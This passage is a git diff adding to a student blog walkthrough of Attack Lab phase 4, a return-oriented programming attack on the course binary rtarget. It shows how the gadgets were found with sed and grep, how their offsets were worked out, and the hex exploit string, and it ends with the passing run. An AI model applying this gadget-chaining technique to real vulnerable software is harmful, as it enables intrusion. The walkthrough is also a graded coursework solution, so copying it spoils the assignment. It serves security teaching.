+</blockquote> + +<blockquote> + <p>When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit + string will contain a combination of gadget addresses and data.</p> +</blockquote> + +<p>Let us check if we can find <code>popq %rdi</code> between <code>start_farm</code> and <code>end_farm</code></p> + +<p>The way a normal person would find the hex representation <code>58</code> to be between <code>start_farm</code> and <code>end_farm</code> is to find the line numbers for both and +then search between those lines. But, what if you don't want to move away from the terminal?</p> + +<p>Assuming, the disassembled code for <code>rtarget</code> is stored in <code>dis2.txt</code> (<code>objdump -d rtarget > dis2.txt</code>)</p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58" +16-000000000040281f <getval_373>: +17- 40281f: f3 0f 1e fa endbr64 +18: 402823: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax +19- 402828: c3 ret +20- +-- +26-0000000000402834 <setval_212>: +27- 402834: f3 0f 1e fa endbr64 +28: 402838: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi) +29- 40283e: c3 ret +30- +-- +41-0000000000402854 <setval_479>: +42- 402854: f3 0f 1e fa endbr64 +43: 402858: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi) +44- 40285e: c3 ret +45- +</code></pre> + +<p>If we were to pick the first one as our gadget, the instruction address is <code>0x402823</code>, but to get to the instruction <code>58</code> we need to add 4 bytes:</p> + +<p><code>=> Gadget address = 0x402823 + 0x4 = 0x402827</code></p> + +<p>The PDF already provides the next gadget we are supposed to look for <code>48 89 c7</code></p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7" +11-0000000000402814 <setval_253>: +12- 402814: f3 0f 1e fa endbr64 +13: 402818: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) +14- 40281e: c3 ret +15- +-- +31-000000000040283f <getval_424>: +32- 40283f: f3 0f 1e fa endbr64 +33: 402843: b8 48 89 c7 c3 mov $0xc3c78948,%eax +34- 402848: c3 ret +35- +36-0000000000402849 <setval_417>: +37- 402849: f3 0f 1e fa endbr64 +38: 40284d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) +39- 402853: c3 ret +40- +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ +</code></pre> + +<p>We cannot use the first match because it is followed by <code>0x94</code> instead of <code>c3</code>, either of the next two matches will work (<code>0x90</code> is <code>nop</code> and it does nothing but increment the program counter by 1)</p> + +<p>Again, we have to account for the offset.</p> + +<p>Taking <code>0x402843</code> we need to add just 1 byte. </p> + +<p><code>=> 0x402843 + 1 = 0x402844</code></p> + +<p>Our answer for this file is going to be:</p> + +<pre><code>padding +gadget1 +cookie +gadget2 +touch2 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2 +000000000040264e<span class="w"> </span><touch2>: +<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44> +<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a> +</code></pre> +</div> + +<pre><code>00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +27 28 40 00 00 00 00 00 +8f ee 8d 3e 00 00 00 00 +44 28 40 00 00 00 00 00 +4e 26 40 00 00 00 00 00 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>./rtarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./rtarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>rtarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! +</code></pre> +</div> + <blockquote>If you have scrolled this far, consider subscribing to my mailing list <a href="https://listmonk.navan.dev/subscription/form">here.</a> You can subscribe to either a specific type of post you are interested in, or subscribe to everything with the "Everything" list.</blockquote> <script data-isso="//comments.navan.dev/" src="//comments.navan.dev/js/embed.min.js"></script> diff --git a/docs/posts/index.html b/docs/posts/index.html index b5da312..f074fc5 100644 --- a/docs/posts/index.html +++ b/docs/posts/index.html @@ -52,7 +52,7 @@ <li><a href="/posts/2023-10-05-attack-lab.html">Attack Lab</a></li> <ul> - <li>Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems</li> + <li>Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems</li> <li>Published On: 2023-10-05 20:01</li> <li>Tags: |